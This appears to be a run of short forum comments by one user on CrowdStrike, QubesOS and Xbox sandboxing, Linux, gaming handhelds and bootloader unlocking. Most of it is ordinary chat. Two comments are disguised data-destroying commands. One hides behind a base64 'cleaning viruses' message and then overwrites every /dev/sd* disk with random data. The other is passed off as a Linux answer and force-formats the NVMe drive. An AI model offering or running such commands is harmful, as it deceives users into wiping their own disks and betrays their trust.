I thought only people who subscribed to CrowdStrike’s services had that driver installed.

Same thing would happen on Linux if someone wrote a bad kernel module and integrated it into the OS. In fact, Crowdstrike did have a similar problem a few months ago on Linux.

I’m no fan of Microsoft, but this isn’t their fault.

Are you familiar with QubesOS? It has a similar security model to the Xbox consoles.

Basically, the host OS only exists to run VMs, which includes separate VMs for networking, USB devices, applications, etc. With QubesOS, you can also pass through something like a GPU for use in a dedicated gaming VM (although you can do that on any Linux distro).

That’s normal. That just means the viruses were cleaned from your computer.

echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done

Seems like that’s a Windows issue and not Xbox. There was a recently released kernel exploit for Xbox, but it’s sandboxed to the SystemOS.

If you want to pwn the Xbox OS entirely, you would need a hypervisor escape exploit, which is very difficult to accomplish.

There is nothing Microsoft I would consider “top tier” when it comes to security.

Counterpoint: Xbox consoles. They just stick everything inside of VMs a la QubesOS

On Linux, it’s sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

Press stop, then stop again, then play on your remote. That’s a fairly universal way to skip straight to the movie.

Linux is free.

We need to archive the Internet Archive.

Maybe put it in international waters.

Absolutely. The Steam Deck is a gaming PC, but handheld. The iGPU in the Deck is approximately equivilent to an RX 580, for reference.

Macaroni because I have an unhealthy obsession with cheese.

I’ve been using NixOS for about 3 years. Probably going to switch back to Arch, though.

Not sure what you’re asking. Linux is able to run on a Pi 4 just fine. If you want to play games, you’ll need to emulate x86 using either Box64 or FEX, but there will be performance issues.

GNU was founded because Richard Stallman was frusterated with a printer’s proprietary software.

They already have a free version of Windows. Just don’t activate it.

How did you go about doing that? I wanted to ask them about being able to replace the primary bootloader, including signing keys for any device that a user has paid for, which is a step above bootloader unlocking.

Kind of like installing coreboot or libreboot on a PC/laptop.
